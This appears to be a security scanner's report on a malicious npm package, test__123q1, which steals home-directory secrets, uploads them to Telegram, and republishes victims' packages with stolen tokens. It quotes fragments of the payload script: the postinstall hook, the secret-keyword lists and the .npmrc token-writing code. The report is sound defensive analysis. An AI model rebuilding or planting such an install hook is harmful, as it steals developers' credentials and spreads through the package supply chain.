registry / Install hook abuse / test__123q1
test__123q1
This report shows the evidence for test__123q1@2.1.3. 3 of 3 known versions are blocked or flagged. The newest version, 4.3.5, is blocked. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is a concrete install-time credential theft and npm supply-chain propagation payload. The source directly implements collection, exfiltration, token use, and package republishing.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation invokes the postinstall script.
Impact
Loss of credentials and private files, followed by compromise of packages owned by a stolen npm token.
Mechanism
Broad local secret collection, Telegram exfiltration, and npm package infection using stolen tokens.
Attack narrative
On installation, the package scans the user’s home and project directories for secrets, credentials, wallet data, npm configuration, and environment values. It builds and uploads an archive of the findings to Telegram. It then collects npm tokens, identifies packages belonging to those token holders, downloads and modifies them to run this payload at postinstall, and republishes them using the stolen credentials.
AI rationale
This is a concrete install-time credential theft and npm supply-chain propagation payload. The source directly implements collection, exfiltration, token use, and package republishing.
Evidence
package.jsondist/script.jsscripts.json.npmrcreport-<timestamp>/files/*report-<timestamp>.zip
Network endpoints3
api.telegram.orgregistry.npmjs.org/-/whoamiregistry.npmjs.org/-/v1/search
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest automatically runs dist/script.js after installation.
- The script searches the home directory and project paths for sensitive files, SSH keys, cloud credentials, npm configuration, and relevant environment variables.
- It copies collected files into a report, archives the report, and uploads it to Telegram.
- It extracts npm tokens, enumerates the token holder’s packages, adds its own postinstall hook, copies its payload, and publishes altered packages.
Evidence against
Behavioral surface
ChildProcessCryptoEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node dist/script.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgdist/script.jsView file
51const node_util_1 = require("node:util");
L52: const node_child_process_1 = require("node:child_process");
L53: const node_path_2 = __importDefault(require("node:path"));
...
L139: 'pass', 'pwd', 'secret', 'token', 'key', 'auth', 'api',
L140: 'private', 'mnemonic', 'seed', 'credential', 'access', 'npm',
L141: ];
...
L235: 'privatekey',
L236: 'private_key',
L237: 'privkey',
...
L321: const npmrcPath = node_path_1.default.join(dirPath, ".npmrc");
L322: yield promises_1.default.writeFile(npmrcPath, `//registry.npmjs.org/:_authToken=${token}\nregistry=https://registry.npmjs.org/\n`);
L323: });
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/script.jsView on unpkg · L5151const node_util_1 = require("node:util");
L52: const node_child_process_1 = require("node:child_process");
L53: const node_path_2 = __importDefault(require("node:path"));
...
L139: 'pass', 'pwd', 'secret', 'token', 'key', 'auth', 'api',
L140: 'private', 'mnemonic', 'seed', 'credential', 'access', 'npm',
L141: ];
...
L235: 'privatekey',
L236: 'private_key',
L237: 'privkey',
...
L321: const npmrcPath = node_path_1.default.join(dirPath, ".npmrc");
L322: yield promises_1.default.writeFile(npmrcPath, `//registry.npmjs.org/:_authToken=${token}\nregistry=https://registry.npmjs.org/\n`);
L323: });
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/script.jsView on unpkg · L5151Trigger-reachable chain: scripts.postinstall -> dist/script.js
L51: const node_util_1 = require("node:util");
L52: const node_child_process_1 = require("node:child_process");
L53: const node_path_2 = __importDefault(require("node:path"));
...
L139: 'pass', 'pwd', 'secret', 'token', 'key', 'auth', 'api',
L140: 'private', 'mnemonic', 'seed', 'credential', 'access', 'npm',
L141: ];
...
L235: 'privatekey',
L236: 'private_key',
L237: 'privkey',
...
L321: const npmrcPath = node_path_1.default.join(dirPath, ".npmrc");
L322: yield promises_1.default.writeFile(npmrcPath, `//registry.npmjs.org/:_authToken=${token}\nregistry=https://registry.npmjs.org/\n`);
L323: });
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
dist/script.jsView on unpkg · L5151const node_util_1 = require("node:util");
L52: const node_child_process_1 = require("node:child_process");
L53: const node_path_2 = __importDefault(require("node:path"));
High
462return __awaiter(this, void 0, void 0, function* () {
L463: return execAsync(`npm pack ${packageName} --pack-destination ${this.tmpDir}`, {
L464: env: {
L465: PATH: process.env.PATH,
L466: SystemRoot: process.env.SystemRoot,
L467: npm[redacted]: "https://registry.npmjs.org/",
L468: },
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
dist/script.jsView on unpkg · L462•Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
dist/script.js:
yield promises_1.default.writeFile(npmrcPath, `//registry.npmjs.org/:_authToken=${token}\nregistry=https://registry.npmjs.org/\n`);
const whoamiRes = yield fetch("https://registry.npmjs.org/-/whoami", {
const url = `https://registry.npmjs.org/-/v1/search` +
yield promises_1.default.writeFile(this.filePath, JSON.stringify(this.content, null, 2), "utf8");
npm[redacted]: "https://registry.npmjs.org/",
if (['node_modules', '.git', 'dist', 'build', '.next', 'coverage', 'vendor', '.cache'].includes(entry)) {
if (['node_modules', '.git'].includes(entry))
node_fs_1.default.copyFileSync(src, dest);
High
Entrypoint Foreign Package Code Overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
dist/script.jsView on unpkg51Trigger-reachable credential exfiltration chain: scripts.postinstall -> dist/script.js
L51: const node_util_1 = require("node:util");
L52: const node_child_process_1 = require("node:child_process");
L53: const node_path_2 = __importDefault(require("node:path"));
...
L139: 'pass', 'pwd', 'secret', 'token', 'key', 'auth', 'api',
L140: 'private', 'mnemonic', 'seed', 'credential', 'access', 'npm',
L141: ];
...
L235: 'privatekey',
L236: 'private_key',
L237: 'privkey',
...
L321: const npmrcPath = node_path_1.default.join(dirPath, ".npmrc");
L322: yield promises_1.default.writeFile(npmrcPath, `//registry.npmjs.org/:_authToken=${token}\nregistry=https://registry.npmjs.org/\n`);
L323: });
High
Trigger Reachable Credential Exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
dist/script.jsView on unpkg · L51Findings
3 Critical5 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationdist/script.js
CriticalCredential Exfiltrationdist/script.js
CriticalTrigger Reachable Dangerous Capabilitydist/script.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processdist/script.js
HighSame File Env Network Executiondist/script.js
HighEntrypoint Foreign Package Code Overwritedist/script.js
HighTrigger Reachable Credential Exfiltrationdist/script.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to test__123q1@2.1.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing test__123q1@2.1.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.